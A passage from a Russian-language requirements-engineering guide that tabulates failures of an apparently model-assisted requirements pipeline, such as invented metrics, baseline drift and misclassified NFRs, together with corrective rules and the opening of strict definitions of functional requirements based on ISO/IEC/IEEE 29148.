\u041d\u0435\u043b\u044c\u0437\u044f \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0432\u0430 ID \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u0438\u043b\u0438 \u043e\u0434\u043d\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a FR \u0438 constraint. | Semantic gate \u0441\u0442\u0440\u043e\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u2192\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u2192\u043e\u0431\u044a\u0435\u043a\u0442\u2192\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 merge/link \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0443\u0431\u043b\u0435\u0439. |\\n| `UC-01` mixed artifact | \u0412 \u0434\u0438\u0430\u043b\u043e\u0433\u0430\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 UI-\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a FR; \u0432 BCREQ-1106 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u043e\u0441\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 variants. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0438\u043b\u0438 \u0432\u0435\u0442\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 FR. | UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, trigger, preconditions, main flow, alternatives/exceptions, outcome \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 FR/NFR/constraints. |\\n| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n| `NFR-02` misclassification | BCREQ-1104 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u0430 \u0432 \u00ab100%\u00bb NFR, \u0445\u043e\u0442\u044f \u044d\u0442\u043e functional outcome. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u0435\u043b\u0430\u0442\u044c NFR \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u0430. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 outcome. NFR \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430/constraint \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438; target \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u0442\u0438\u043f. |\\n| `STATE-01` baseline drift | RUN-0028 \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c 4.1\u20134.4 \u0438 \u0443\u0434\u0430\u043b\u0438\u043b 4.4.3; RUN-0016 \u0432\u0435\u0440\u043d\u0443\u043b \u0441\u043d\u044f\u0442\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0432 summary. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u043e\u043b\u0447\u0430 \u0443\u0434\u0430\u043b\u044f\u0442\u044c, \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442. | \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 explicit change set \u043a baseline; \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 ID continuity, accepted/rejected decisions \u0438 unexplained diff. |\\n| `STATE-02` user correction | BCREQ-1104 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u043a\u0442; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0437\u0436\u0435 \u0441\u043d\u043e\u0432\u0430 \u043e\u043f\u0438\u0440\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u043f\u0440\u0435\u0436\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e. | \u041d\u0435\u043b\u044c\u0437\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c superseded claim \u043f\u043e\u0441\u043b\u0435 \u044f\u0432\u043d\u043e\u0439 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. | Decision log \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 claim `accepted/rejected/superseded`; retrieval \u0438 generation \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442 rejected/superseded. |\\n| `FORMAT-01` instruction | RUN-0029 \u0434\u0432\u0430\u0436\u0434\u044b \u0432\u0435\u0440\u043d\u0443\u043b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\u00bb. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u0431\u0435\u0437 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c. | Rendering gate \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438; \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u044b. |\\n| `TMF-01` false authority | BCREQ-1104 \u0432\u044b\u0434\u0430\u043b \u043e\u0431\u0449\u0438\u0435 ODA/eTOM-\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u043e\u0435 TM Forum mapping \u0431\u0435\u0437 catalog ID \u0438 \u0432\u0435\u0440\u0441\u0438\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u043e\u0447\u043d\u044b\u043c TM Forum \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435\u043c. | Binding \u0432\u0430\u043b\u0438\u0434\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 versioned snapshot \u0441 \u0442\u043e\u0447\u043d\u044b\u043c\u0438 ID; \u0438\u043d\u0430\u0447\u0435 `unresolved`, \u0430 \u043d\u0435 guessed label. |\\n\\n## \u041f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n| Evidence | \u0427\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e | \u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| RUN-0016 | \u041d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, \u043d\u0435 \u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. | \u0414\u0435\u0442\u0430\u043b\u044c \u0431\u0435\u0437 evidence \u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043b\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c; \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 FR, \u043d\u043e \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0435\u0433\u043e. |\\n| RUN-0025 | \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0434\u0443\u0431\u043b\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u044d\u0442\u0430\u043f\u044b \u0440\u0430\u0431\u043e\u0442 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b \u0438 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u0430; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043e. | Review \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0442\u0438\u043f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 decision authority, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0433\u0440\u0430\u043c\u043c\u0430\u0442\u0438\u043a\u0443. |\\n| RUN-0026 | Scope expansion \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0443\u0431\u043b\u044c \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0434\u0430\u043b\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u0432\u044b\u0431\u0440\u0430\u0442\u044c. | \u041f\u0440\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442\u0441\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 trade-offs, \u043d\u0435 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0027 | \u0422\u0440\u0438 \u0447\u0438\u0441\u043b\u043e\u0432\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438; \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u0430\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u044f\u0432\u043d\u043e. | \u0427\u0438\u0441\u043b\u043e \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 anchor \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430; partial \u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e fact. |\\n| RUN-0029 | \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u0451\u043d \u0441 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u0447\u0430\u0441\u0442\u044c baseline \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c decision event. |\\n| RUN-0055 | 40 \u0438\u0437 50 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b, 10 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438. | Claim-level verification \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c feasibility verdict. |\\n| RUN-0056\u2192RUN-0058 | \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 gap \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 API \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 evidence \u0438 \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d \u043f\u0440\u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0438 SSOT. |\\n| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n| BCREQ-1106 | \u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u0414\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 solution layer, \u043d\u0435 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 FR. |\\n\\n## \u0421\u0442\u0440\u043e\u0433\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n\\n\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b \u0441\\n[ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen)\\n\u0438 [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary),\\n\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a BCREQ-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n### Functional Requirement\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** FR \u2014 \u043e\u0434\u043d\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438 \u0432\\n\u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435. FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 `\u0447\u0442\u043e`, \u0430 \u043d\u0435 \u044d\u043a\u0440\u0430\u043d, control, \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\\n\u0448\u0430\u0433\u043e\u0432 \u0438\u043b\u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n\\n`FR-INV-01` \u2014 \u0443 FR \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d `requirement_id`, \u043e\u0434\u0438\u043d system subject \u0438 \u043e\u0434\u043d\u0430\\n\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f capability; \u0441\u043e\u0441\u0442\u0430\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f.\\n\\n`FR-INV-02` \u2014 FR \u0438\u043c\u0435\u0435\u0442 `goal_refs`, `task_refs`, `source_refs`,\\n`product_binding`, `delta_ref` \u0438 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0434\u0438\u043d `scenario_ref`.\\n\\n`FR-INV-03` \u2014 \u0442\u0435\u043a\u0441\u0442 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c (`shall` / \u00ab\u0434\u043e\u043b\u0436\u043d\u0430\u00bb) \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439\\noutcome. \u0421\u043b\u043e\u0432\u0430 `\u043a\u043d\u043e\u043f\u043a\u0430`, `\u043f\u043e\u043b\u0435`, `\u0432\u043a\u043b\u0430\u0434\u043a\u0430`, `endpoint`, \u0444\u043e\u0440\u043c\u0430\u0442 payload 